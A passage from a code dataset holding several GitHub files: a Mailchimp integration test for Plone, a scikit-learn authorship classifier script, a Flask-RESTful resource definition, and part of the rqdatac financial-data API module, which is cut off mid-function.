{"seq_id": "70706652424", "text": "# -*- coding: utf-8 -*-\nfrom collective.mailchimp.testing import (\n    COLLECTIVE_MAILCHIMP_INTEGRATION_TESTING,\n)\nfrom zope.component import getUtility\n\nimport unittest\n\n\nclass MailchimpLocatorIntegrationTest(unittest.TestCase):\n\n    layer = COLLECTIVE_MAILCHIMP_INTEGRATION_TESTING\n\n    def setUp(self):\n        self.app = self.layer['app']\n        self.portal = self.layer['portal']\n        self.request = self.layer['request']\n        self.portal_url = self.portal.absolute_url()\n\n    def test_mailchimp_locator_registration(self):\n        from collective.mailchimp.interfaces import IMailchimpLocator\n\n        self.assertTrue(getUtility(IMailchimpLocator))\n\n    def test_mailchimp_locator_initialize_method(self):\n        from collective.mailchimp.locator import MailchimpLocator\n\n        locator = MailchimpLocator()\n        self.assertEqual(locator.registry, None)\n        self.assertEqual(locator.settings, None)\n        self.assertEqual(locator.api_root, None)\n        locator.initialize()\n        self.assertTrue(locator.registry)\n        self.assertTrue(locator.settings)\n        self.assertTrue(locator.api_root)\n\n    def test_mailchimp_locator_lists_method(self):\n        from collective.mailchimp.locator import MailchimpLocator\n\n        locator = MailchimpLocator()\n        self.assertTrue(locator.lists())\n        self.assertEqual(len(locator.lists()), 3)\n\n    def test_mailchimp_locator_groups_method(self):\n        from collective.mailchimp.locator import MailchimpLocator\n\n        locator = MailchimpLocator()\n        groups = locator.groups(list_id=u'57afe96172')\n        self.assertTrue(groups)\n        self.assertEqual(len(groups['categories']), 1)\n        self.assertEqual(len(groups['interests']), 5)\n        self.assertEqual(\n            groups['interests'][0]['name'],\n            u\"Sometimes you just gotta 'spress yourself.\",\n        )\n\n    def test_mailchimp_locator_update_subscriber_method(self):\n        from collective.mailchimp.locator import MailchimpLocator\n\n        locator = MailchimpLocator()\n        member = locator.update_subscriber(\n            '57afe96172',\n            'freddy@freddiesjokes.com',\n            interests={'a1e9f4b7f6': True},\n        )\n        self.assertTrue(member)\n        self.assertEqual(member['interests']['a1e9f4b7f6'], True)\n\n    def test_mailchimp_locator_updateCache_method(self):\n        from collective.mailchimp.locator import MailchimpLocator\n\n        locator = MailchimpLocator()\n        locator.initialize()\n        # These tests pass when we run this test method separately,\n        # but fail when running all tests.  Skip them because they are\n        # not what we really want to test here.\n        #\n        # self.assertEqual(locator.registry[locator.key_account], None)\n        # self.assertEqual(locator.registry[locator.key_groups], None)\n        # self.assertEqual(locator.registry[locator.key_lists], None)\n        locator.updateCache()\n        account = locator.registry[locator.key_account]\n        self.assertTrue(isinstance(account, dict))\n        self.assertEqual(account[u'account_id'], u'8d3a3db4d97663a9074efcc16')\n        self.assertEqual(account[u'account_name'], u\"Freddie's Jokes\")\n        groups = locator.registry[locator.key_groups]\n        self.assertTrue(isinstance(groups, dict))\n        group_keys = list(groups.keys())\n        self.assertEqual(\n            group_keys, ['f6257645gs', 'f6267645gs', '57afe96172']\n        )\n        self.assertEqual(\n            sorted(list(groups[group_keys[0]].keys())),\n            [\n                '_links',\n                'categories',\n                'interests',\n                'list_id',\n                'total_items',\n            ],\n        )\n\n        self.assertTrue(isinstance(locator.registry[locator.key_lists], tuple))\n        self.assertEqual(len(locator.registry[locator.key_lists]), 3)\n        # It does not complain when there is no api key\n        locator.settings.api_key = None\n        locator.updateCache()\n\n\ndef test_suite():\n    return unittest.defaultTestLoader.loadTestsFromName(__name__)\n", "repo_name": "collective/collective.mailchimp", "sub_path": "src/collective/mailchimp/tests/test_locator.py", "file_name": "test_locator.py", "file_ext": "py", "file_size_in_byte": 4057, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "unittest.TestCase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "collective.mailchimp.testing.COLLECTIVE_MAILCHIMP_INTEGRATION_TESTING", "line_number": 12, "usage_type": "name"}, {"api_name": "zope.component.getUtility", "line_number": 23, "usage_type": "call"}, {"api_name": "collective.mailchimp.interfaces.IMailchimpLocator", "line_number": 23, "usage_type": "name"}, {"api_name": "collective.mailchimp.locator.MailchimpLocator", "line_number": 28, "usage_type": "call"}, {"api_name": "collective.mailchimp.locator.MailchimpLocator", "line_number": 40, "usage_type": "call"}, {"api_name": "collective.mailchimp.locator.MailchimpLocator", "line_number": 47, "usage_type": "call"}, {"api_name": "collective.mailchimp.locator.MailchimpLocator", "line_number": 60, "usage_type": "call"}, {"api_name": "collective.mailchimp.locator.MailchimpLocator", "line_number": 72, "usage_type": "call"}, {"api_name": "unittest.defaultTestLoader.loadTestsFromName", "line_number": 111, "usage_type": "call"}, {"api_name": "unittest.defaultTestLoader", "line_number": 111, "usage_type": "attribute"}]}
{"seq_id": "42773547005", "text": "#!/usr/bin/env\n\nimport json\nfrom pprint import pprint\nimport os\nimport multiprocessing\nimport numpy as np\nfrom scipy import stats\nfrom sklearn import svm, preprocessing\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.preprocessing import FunctionTransformer\nfrom sklearn.metrics import precision_recall_fscore_support\n\nfrom src.utils import (\n    docs_to_X, load_best_params, filter_authors, load_docs_from_dir)\nfrom src.data import DataReader\nfrom src.authors import authors\n\n\ndef to_dense(X):\n    \"\"\"\n    Vectorizer outputs sparse matrix X\n    This function returns X as a dense matrix\n    \"\"\"\n    X = X.todense()\n    return X\n\n\ndef deltavectorizer(X):\n    \"\"\"\n    Function that normalizes X to Delta score\n    \"An expression of pure difference is what we need\"\n    - Burrows -> absolute Z-scores\n    \"\"\"\n    X = stats.zscore(X)\n    X = np.abs(X)\n    # NaNs are replaced by zero\n    X = np.nan_to_num(X)\n    return X\n\n\ndef pipe_grid_clf(X_train, y_train):\n    \"\"\"\n    Parameters\n    ===========\n    X_train : list of documents (where a document is a list of sents,\n        where a sent is a str)\n    y_train : list of transformed labels\n    \"\"\"\n    # Initialize pipeline\n    # Steps in the pipeline:\n    # 1 Vectorize incoming training material\n    # 2 Normalize counts\n    # 3 Classify\n\n    pipe = Pipeline(\n        [('vectorizer', TfidfVectorizer()),\n         ('to_dense', FunctionTransformer(to_dense, accept_sparse=True)),\n         ('classifier', svm.SVC())])\n\n    # Classifier parameters\n\n    idfs = [True, False]\n    c_options = [1, 10, 100, 1000]\n    kernel_options = ['linear']\n    n_features_options = [5000, 10000, 15000, 30000]\n    norm_options = ['l1', 'l2']\n\n    param_grid = [\n        {\n            'vectorizer': [#TfidfVectorizer(),\n                           TfidfVectorizer(analyzer='char',\n                                           ngram_range=(2, 4))],\n            #'vectorizer__use_idf': idfs,\n            'vectorizer__max_features': n_features_options,\n            #'vectorizer__norm': norm_options,\n            'classifier__C': c_options,\n            'classifier__kernel': kernel_options,\n        },\n    ]\n\n    # Stratification is default\n    # For integer/None inputs for cv, if the estimator is a classifier\n    # and y is either binary or multiclass, StratifiedKFold is used.\n    # In all other cases, KFold is used.\n    n_jobs = multiprocessing.cpu_count()\n    grid = GridSearchCV(\n        pipe, cv=5, n_jobs=n_jobs, param_grid=param_grid, verbose=1)\n    grid.fit(X_train, y_train)\n\n    return grid\n\n\ndef clf_from_params(params):\n    return Pipeline(\n        [('vectorizer', TfidfVectorizer(\n            analyzer='char',    # default to this\n            ngram_range=(2, 4),  # default to this\n            use_idf=params['vectorizer__use_idf'],\n            max_features=params['vectorizer__max_features'],\n            norm=params['vectorizer__norm'])),\n         ('to_dense', FunctionTransformer(to_dense, accept_sparse=True)),\n         ('classifier', svm.SVC(\n             C=params['classifier__C'],\n             kernel=params['classifier__kernel']))])\n\n\ndef run_test(grid, path, X_test, y_test, le):\n    y_pred = grid.predict(docs_to_X(X_test))\n\n    if not os.path.isdir(path):\n        os.mkdir(path)\n\n    def dump_report(y_true, y_pred, path, le):\n        p, r, f1, s = precision_recall_fscore_support(y_true, y_pred)\n        report = []\n        for i in range(len(set(y_true))):\n            report.append(\n                {'author': le.inverse_transform(i),\n                 'result': {'precision': p[i],\n                            'recall': r[i],\n                            'f1': f1[i],\n                            'support': int(s[i])}})\n        with open(path, 'w') as f:\n            json.dump(report, f)\n\n    out_report_path = os.path.join(path, 'report.json')\n    dump_report(le.transform(y_test), y_pred, out_report_path, le)\n    if isinstance(grid, Pipeline):\n        return              # only save best params if grid\n    with open(os.path.join(path, 'best_model.txt'), 'w') as f:\n        pprint(grid.best_estimator_, stream=f)\n    with open(os.path.join(path, 'best_params.json'), 'w') as f:\n        json.dump({k: str(v) for k, v in grid.best_params_.items()}, f)\n    with open(os.path.join(path, 'cv_result.json'), 'w') as f:\n        json.dump({k: str(v) for k, v in grid.cv_results_.items()}, f)\n\n\nif __name__ == '__main__':\n    import argparse\n    parser = argparse.ArgumentParser(\n        description=\"To run omega_alpha, alpha_omega, pass reader_path (or both \" +\n        \"omega_path and alpha_path), and omit alpha_bar_path. To run \" +\n        \"alpha_bar_omega once you've run the first experiment, pass \" +\n        \"alpha_bar_path, reader_path or omega_path and omega_params. \" +\n        \"To run the self-learning experiments, also pass alpha_path\")\n    parser.add_argument('output_path', help='Directory to save results')\n    parser.add_argument('--reader_path', help='Reader path')\n    parser.add_argument('--omega_path', help='Omega docs path')\n    parser.add_argument('--alpha_path', help='Omega docs path')\n    parser.add_argument('--alpha_bar_path', help='Path to generated texts.' +\n                        'If given, it will do the alpha_bar experiments.')\n    parser.add_argument('--omega_params', help='Path to file containing the ' +\n                        'already grid-searched params of the omega classifer')\n    parser.add_argument('--max_authors', type=int, default=50, help='Run ' +\n                        'experiments for a selection of the max n authors')\n    args = parser.parse_args()\n\n    # 1 Load documents\n    X_alpha, y_alpha = None, None\n    X_omega, y_omega = None, None\n    X_alpha_bar, y_alpha_bar = None, None\n\n    if args.reader_path:\n        reader = DataReader.load(args.reader_path)\n        alpha, omega, _ = reader.foreground_splits()  # use gener split as test\n        (y_alpha, _, X_alpha), (y_omega, _, X_omega) = alpha, omega\n    if args.alpha_path:\n        X_alpha, y_alpha = load_docs_from_dir(args.alpha_path)\n    if args.omega_path:\n        X_omega, y_omega = load_docs_from_dir(args.omega_path)\n    if args.alpha_bar_path:\n        X_alpha_bar, y_alpha_bar = load_docs_from_dir(args.alpha_bar_path)\n\n    # 2 Eventually filter authors\n    keep_authors = set(\n        [a for a in y_alpha_bar if a in authors[:args.max_authors]])\n    if X_alpha is not None:\n        y_alpha, X_alpha = filter_authors(y_alpha, X_alpha, keep_authors)\n    if X_omega is not None:\n        y_omega, X_omega = filter_authors(y_omega, X_omega, keep_authors)\n    if X_alpha_bar is not None:\n        y_alpha_bar, X_alpha_bar = filter_authors(\n            y_alpha_bar, X_alpha_bar, keep_authors)\n    # translate author names to labels\n    le = preprocessing.LabelEncoder()\n    le.fit([author for y in [y_alpha, y_omega, y_alpha_bar] for author in y])\n    print(\"Fitted %d classes\" % len(le.classes_))\n    pprint({a: idx for a, idx in zip(le.classes_, le.transform(le.classes_))})\n\n    # 3 Train estimator on alpha, omega and alpha_bar\n    # 3.1 Train omega\n    if X_omega is not None:\n        if args.omega_params is not None:\n            print(\"Loading omega best params\")\n            grid_omega = clf_from_params(load_best_params(args.omega_params))\n            grid_omega.fit(docs_to_X(X_omega), le.transform(y_omega))\n        else:\n            print(\"Training omega\")\n            grid_omega = pipe_grid_clf(docs_to_X(X_omega), le.transform(y_omega))\n            # classify alpha only if not loaded\n            omega_alpha_path = os.path.join(args.output_path, 'omega_alpha')\n            run_test(grid_omega, omega_alpha_path, X_alpha, y_alpha, le)\n    if X_alpha_bar is not None:\n        print(\"Classifying alpha bar\")\n        omega_alpha_bar_path = os.path.join(args.output_path, 'omega_alpha_bar')\n        run_test(grid_omega, omega_alpha_bar_path, X_alpha_bar, y_alpha_bar, le)\n\n    # 3.2 Train alpha\n    if X_alpha is not None and X_alpha_bar is None:\n        assert X_omega, \"Need omega docs to perform alpha_omega experiments\"\n        print(\"Training alpha\")\n        grid_alpha = pipe_grid_clf(docs_to_X(X_alpha), le.transform(y_alpha))\n        # classify omega\n        print(\"Classifying omega\")\n        alpha_omega_path = os.path.join(args.output_path, 'alpha_omega')\n        run_test(grid_alpha, alpha_omega_path, X_omega, y_omega, le)\n\n    # 3.3 Train alpha_bar\n    if X_alpha_bar is not None:\n        assert X_omega, \"Need omega docs to perform X_alpha_bar experiments\"\n        print(\"Training alpha-bar\")\n        grid_alpha_bar = \\\n            pipe_grid_clf(docs_to_X(X_alpha_bar), le.transform(y_alpha_bar))\n        print(\"Classifying omega\")\n        alpha_bar_omega_path = os.path.join(args.output_path, 'alpha_bar_omega')\n        run_test(grid_alpha_bar, alpha_bar_omega_path, X_omega, y_omega, le)\n\n        # 3.4 Self-training experiment\n        if X_alpha is not None:\n            print(\"Training alpha+alpha-bar\")\n            grid_alpha_alpha_bar = \\\n                pipe_grid_clf(docs_to_X(X_alpha_bar + X_alpha),\n                              le.transform(y_alpha + y_alpha_bar))\n            print(\"Classifying omega\")\n            alpha_alpha_bar_omega_path = os.path.join(\n                args.output_path, 'alpha_alpha_bar_omega')\n            run_test(grid_alpha_alpha_bar, alpha_alpha_bar_omega_path,\n                     X_omega, y_omega, le)\n", "repo_name": "jedgusse/project_lorenzo", "sub_path": "src/classifier.py", "file_name": "classifier.py", "file_ext": "py", "file_size_in_byte": 9448, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scipy.stats.zscore", "line_number": 37, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.nan_to_num", "line_number": 40, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.FunctionTransformer", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 61, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 61, "usage_type": "name"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 74, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 88, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 89, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 97, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 98, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.FunctionTransformer", "line_number": 104, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 105, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 105, "usage_type": "name"}, {"api_name": "src.utils.docs_to_X", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 114, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_fscore_support", "line_number": 117, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path", "line_number": 129, "usage_type": "attribute"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 131, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "pprint.pprint", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 138, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 143, "usage_type": "call"}, {"api_name": "src.data.DataReader.load", "line_number": 167, "usage_type": "call"}, {"api_name": "src.data.DataReader", "line_number": 167, "usage_type": "name"}, {"api_name": "src.utils.load_docs_from_dir", "line_number": 171, "usage_type": "call"}, {"api_name": "src.utils.load_docs_from_dir", "line_number": 173, "usage_type": "call"}, {"api_name": "src.utils.load_docs_from_dir", "line_number": 175, "usage_type": "call"}, {"api_name": "src.authors.authors", "line_number": 179, "usage_type": "name"}, {"api_name": "src.utils.filter_authors", "line_number": 181, "usage_type": "call"}, {"api_name": "src.utils.filter_authors", "line_number": 183, "usage_type": "call"}, {"api_name": "src.utils.filter_authors", "line_number": 185, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 188, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 188, "usage_type": "name"}, {"api_name": "pprint.pprint", "line_number": 191, "usage_type": "call"}, {"api_name": "src.utils.load_best_params", "line_number": 198, "usage_type": "call"}, {"api_name": "src.utils.docs_to_X", "line_number": 199, "usage_type": "call"}, {"api_name": "src.utils.docs_to_X", "line_number": 202, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 204, "usage_type": "call"}, {"api_name": "os.path", "line_number": 204, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 208, "usage_type": "call"}, {"api_name": "os.path", "line_number": 208, "usage_type": "attribute"}, {"api_name": "src.utils.docs_to_X", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 218, "usage_type": "call"}, {"api_name": "os.path", "line_number": 218, "usage_type": "attribute"}, {"api_name": "src.utils.docs_to_X", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path", "line_number": 228, "usage_type": "attribute"}, {"api_name": "src.utils.docs_to_X", "line_number": 235, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}]}
{"seq_id": "16120647547", "text": "from db_models.modelsv2 import DefaultAnalyticRules\nfrom flask_restful import Resource, fields\nfrom modules.json_serializator import encode\nimport json\n\n# PARAMS\nNAME = \"DefaultAnalyticRulesResource\"\nNAME_LIST = \"DefaultAnalyticRulesListResource\"\nENTITY_NAME = \"DefaultAnalyticRules\"\nMODEL = DefaultAnalyticRules\nROUTE = \"/v2/defaultAnalyticsRules\"\nEND_POINT = \"v2-default-analytics-rules\"\nROUTE_LIST = ROUTE\nEND_POINT_LIST = END_POINT + \"-list\"\n# NESTED SCHEMA FIELDS\n\n# OUTPUT SCHEMA\n\nOUTPUT_FIELDS = {\n    'id': fields.Integer,\n    'data': fields.String\n}\n\nOUTPUT_FIELDS_DICT = {'get': {\n    'id': fields.Integer,\n    'data': fields.String(attribute=lambda x: encode(x.data))\n}}\n\n\ndef put_data_converter(json_data):\n    json_data = json.loads(json_data)\n    json_data = json.dumps(json_data, ensure_ascii=False)\n    return {'data': json_data}\n\n\ndef post_data_converter(json_data):\n    return {'data': json_data['data']}\n", "repo_name": "vyadzmak/Landau.X.Api", "sub_path": "resv2/default_analytic_rules_resources.py", "file_name": "default_analytic_rules_resources.py", "file_ext": "py", "file_size_in_byte": 923, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "db_models.modelsv2.DefaultAnalyticRules", "line_number": 10, "usage_type": "name"}, {"api_name": "flask_restful.fields.Integer", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 21, "usage_type": "name"}, {"api_name": "flask_restful.fields.Integer", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 25, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 26, "usage_type": "call"}, {"api_name": "flask_restful.fields", "line_number": 26, "usage_type": "name"}, {"api_name": "modules.json_serializator.encode", "line_number": 26, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 31, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "30401833422", "text": "# -*- coding: utf-8 -*-\r\nimport datetime\r\nimport six\r\nimport warnings\r\nfrom itertools import islice\r\nfrom functools import reduce\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport math\r\nfrom dateutil.relativedelta import relativedelta\r\nfrom sqlalchemy import Column\r\nfrom sqlalchemy.orm.query import Query\r\nfrom sqlalchemy.orm.attributes import InstrumentedAttribute\r\nfrom sqlalchemy.sql.elements import UnaryExpression\r\nfrom sqlalchemy.dialects import mysql\r\nfrom sqlalchemy.ext.declarative import DeclarativeMeta\r\nfrom pymysql.converters import conversions, escape_item, encoders\r\n\r\nfrom rqdatac.client import get_client\r\nfrom rqdatac.services.orm.balance_sheet_sql import StkBalaGen\r\nfrom rqdatac.services.orm.cash_flow_sql import StkCashGen\r\nfrom rqdatac.services.orm.financial_indicator_sql import AnaStkFinIdx\r\nfrom rqdatac.services.orm.fundamental_base_sql import FundamentalBase\r\nfrom rqdatac.services.orm.eod_derivative_indicator_sql import AnaStkValIdx\r\nfrom rqdatac.services.orm.income_statement_sql import StkIncomeGen\r\nfrom rqdatac.services.orm.ttm_sql import (\r\n    CashFlowStatementTTM,\r\n    IncomeStatementTTM,\r\n    FinancialIndicatorTTM,\r\n)\r\nfrom rqdatac.services.orm.pit_financials import (\r\n    BalanceSheet,\r\n    CashFlowsStatement,\r\n    IncomeStatement,\r\n    MainData,\r\n    TTM,\r\n    PIT_TABLES,\r\n    PIT_FIELDS,\r\n    PIT_BASIC_FIELDS,\r\n    PIT_BASIC_FIELDS_SET\r\n)\r\n\r\nfrom rqdatac.services.orm.pit_financials_ex import FIELDS_LIST_EX\r\nfrom rqdatac.share.errors import MarketNotSupportError\r\nfrom rqdatac.services.calendar import get_previous_trading_date\r\nfrom rqdatac.utils import int8_to_date, to_date_int, to_datetime, is_panel_removed\r\nfrom rqdatac.validators import (\r\n    ensure_list_of_string,\r\n    ensure_string,\r\n    check_items_in_container,\r\n    ensure_date_int,\r\n    ensure_order_book_id,\r\n    raise_for_no_panel,\r\n    check_quarter,\r\n    ensure_date_or_today_int,\r\n    quarter_string_to_date,\r\n    ensure_order_book_ids,\r\n)\r\nfrom rqdatac.decorators import export_as_api\r\n\r\n\r\n@export_as_api(name=\"financials\")\r\n@export_as_api\r\nclass Financials:\r\n    stockcode = FundamentalBase.stockcode\r\n    announce_date = FundamentalBase.announce_date\r\n    income_statement = StkIncomeGen\r\n    balance_sheet = StkBalaGen\r\n    cash_flow_statement = StkCashGen\r\n    financial_indicator = AnaStkFinIdx\r\n    cash_flow_statement_TTM = CashFlowStatementTTM\r\n    income_statement_TTM = IncomeStatementTTM\r\n    financial_indicator_TTM = FinancialIndicatorTTM\r\n\r\n\r\n@export_as_api\r\ndef get_financials(query, quarter, interval=None, expect_df=False, market=\"cn\"):\r\n    \"\"\"获取季度报表数据\r\n\r\n    :param query: SQLAlchemy Query对象\r\n    :param quarter: 季度, 如: '2016q1'\r\n    :param interval: 2y', '4q', 与 get_fundamentals 类似，但只接受 y(year) 和 q(quarter)\r\n        (Default value = None)\r\n    :param market: 市场 (Default value = \"cn\")\r\n    :param expect_df: 返回 MultiIndex DataFrame (Default value = False)\r\n    :returns: 如果返回结果中股票代码和查询指标为单个值, 返回Series;\r\n    如果返回结果中股票代码或查询指标中有且只有一个为单个值, 返回pandas.DataFrame; 否则返回pandas.Panel\r\n\r\n    \"\"\"\r\n\r\n    msg = \"'get_financials' is deprecated, and will be removed soon. use get_pit_financials_ex instead.\"\r\n    warnings.warn(msg, stacklevel=2)\r\n\r\n    sql, quarters = _parse_arguments(query, quarter, interval)\r\n    records = get_client().execute(\"get_financial\", sql, market=market)\r\n    return parse_results(records, quarters, expect_df)\r\n\r\n\r\ndef classify_fields(fields):\r\n    if isinstance(fields, six.string_types) or fields in (\r\n            BalanceSheet, CashFlowsStatement, IncomeStatement, TTM, MainData):\r\n        fields = [fields]\r\n    result = [\r\n        # table_name fields\r\n        ('balance_sheet_new', []),\r\n        ('cash_flow_statement_new', []),\r\n        ('income_statement_new', []),\r\n        ('ttm_new', []),\r\n        ('main_data', []),\r\n        ('rnd_expenditure_sheet', []),\r\n    ]\r\n\r\n    for f in fields:\r\n        if f in PIT_BASIC_FIELDS_SET:\r\n            continue\r\n        elif f in PIT_FIELDS[0]:\r\n            result[0][1].append(f)\r\n        elif f in PIT_FIELDS[1]:\r\n            result[1][1].append(f)\r\n        elif f in PIT_FIELDS[2]:\r\n            result[2][1].append(f)\r\n        elif f in PIT_FIELDS[3]:\r\n            result[3][1].append(f)\r\n        elif f in PIT_FIELDS[4]:\r\n            result[4][1].append(f)\r\n        elif f in PIT_FIELDS[5]:\r\n            result[5][1].append(f)\r\n        elif f in (BalanceSheet, CashFlowsStatement, IncomeStatement, TTM, MainData):\r\n            index = PIT_TABLES.index(f.__name__)\r\n            result[index][1].extend(PIT_FIELDS[index])\r\n        else:\r\n            raise ValueError('invalid field: {}'.format(f))\r\n    return result\r\n\r\n\r\n@export_as_api(name=\"pit_financials\")\r\n@export_as_api\r\nclass PitFinancials:\r\n    balance_sheet = BalanceSheet\r\n    cash_flows_statement = CashFlowsStatement\r\n    income_statement = IncomeStatement\r\n    ttm = TTM\r\n    main_data = MainData\r\n\r\n\r\nENTERPRISE_TYPE_MAP = {\r\n    13: \"business_bank\",\r\n    31: \"securities_firms\",\r\n    33: \"trust\",\r\n    35: \"insurance_company\",\r\n    39: \"other_financial_institution\",\r\n    99: \"general_enterprise\",\r\n}\r\n\r\nINFO_TYPE_MAP = {\r\n    10: \"发行上市书\",\r\n    20: \"定期报告\",\r\n    30: \"业绩快报\",\r\n    50: \"章程制度\",\r\n    70: \"临时公告\",\r\n    90: \"交易所通报\",\r\n    91: \"交易所临时停(复)牌公告\",\r\n    99: \"其他\",\r\n    110101: \"定期报告:年度报告\",\r\n    110102: \"定期报告:半年度报告\",\r\n    110103: \"定期报告:第一季报\",\r\n    110104: \"定期报告:第三季报\",\r\n    110105: \"定期报告:审计报告\",\r\n    110106: \"定期报告:第二季报\",\r\n    110107: \"定期报告:第四季报\",\r\n    110108: \"定期报告:第五季报\",\r\n    110109: \"定期报告:第二季报（更正后）\",\r\n    110110: \"定期报告:第四季报（更正后）\",\r\n    110111: \"定期报告:第五季报（更正后）\",\r\n    110201: \"定期报告:年度报告(关联方)\",\r\n    110202: \"定期报告:半年度报告(关联方)\",\r\n    110203: \"定期报告:第一季报(关联方)\",\r\n    110204: \"定期报告:第三季报(关联方)\",\r\n    120101: \"临时公告:审计报告(更正后)\",\r\n    120102: \"临时公告:年度报告(更正后)\",\r\n    120103: \"临时公告:半年度报告(更正后)\",\r\n    120104: \"临时公告:第一季报(更正后)\",\r\n    120105: \"临时公告:第三季报(更正后)\",\r\n    120106: \"临时公告:公开转让说明书(更正后)\",\r\n    120107: \"临时公告:业绩快报\",\r\n    120108: \"临时公告:业绩快报(更正后)\",\r\n    120201: \"临时公告:跟踪评级报告\",\r\n    120202: \"临时公告:同业存单发行计划\",\r\n    120203: \"临时公告:比较式财务报表\",\r\n    120204: \"临时公告:关联方\",\r\n    120205: \"临时公告:其他\",\r\n    120206: \"临时公告:前期差错更正\",\r\n    120207: \"临时公告:第一季度报告\",\r\n    120208: \"临时公告:第二季度报告\",\r\n    120209: \"临时公告:第三季度报告\",\r\n    120210: \"临时公告:第四季度报告\",\r\n    120211: \"临时公告：年度报告\",\r\n    130101: \"发行上市书:募集说明书\",\r\n    130102: \"发行上市书:招股说明书(申报稿)\",\r\n    130103: \"发行上市书:招股意向书\",\r\n    130104: \"发行上市书:上市公告书\",\r\n    130105: \"发行上市书:审阅报告\",\r\n    130106: \"发行上市书:招股说明书\",\r\n    130107: \"发行上市书:公开转让说明书\",\r\n    130108: \"发行上市书:发行公告\",\r\n    130109: \"发行上市书:审计报告\",\r\n    130110: \"发行上市书:关联方\",\r\n    130111: \"发行上市书:其他\",\r\n    140101: \"发行披露文件:第一季报\",\r\n    140102: \"发行披露文件:半年度报告\",\r\n    140103: \"发行披露文件：第三季报\",\r\n    140104: \"发行披露文件：审计报告\",\r\n    140105: \"发行披露文件：募集说明书\",\r\n    140106: \"发行披露文件：跟踪评级报告\"\r\n}\r\n\r\n\r\n@export_as_api\r\ndef get_pit_financials(fields, quarter, interval=None, order_book_ids=None,\r\n                       if_adjusted='all', max_info_date=None, market='cn'):\r\n    \"\"\"\r\n    获取pit季度报表数据\r\n    :param fields: 财务指标 or 财务指标 list\r\n    :param quarter: 季度, 如: '2016q1'\r\n    :param interval: '2y', '4q', 默认只返回当季\r\n    :param order_book_ids: 股票列表, 默认为None返回所有股票数据\r\n    :param if_adjusted: 是否调整\r\n        0: 每个order_book_id每个季度返回一条发布日期最新的未调整的数据\r\n        1: 每个order_book_id每个季度返回一条发布日期最新的调整的数据\r\n        'ignore': 每个order_book_id每个季度返回一条发布日期最新的数据\r\n        'all': 返回所有数据,无论发布日期新旧和是否调整\r\n    :param max_info_date: 指定最大发布日期, 如20180430，则所取数据的发布日期均不大于20180430，默认为None\r\n    :return: pandas.DataFrame or None\r\n    \"\"\"\r\n\r\n    msg = \"'get_pit_financials' is deprecated, and will be removed soon. use get_pit_financials_ex instead.\"\r\n    warnings.warn(msg, stacklevel=2)\r\n\r\n    if if_adjusted not in [0, 1, '0', '1', 'all', 'ignore']:\r\n        raise ValueError(\"if_adjusted should in [0, 1, 'all', 'ignore']\")\r\n\r\n    if order_book_ids is not None:\r\n        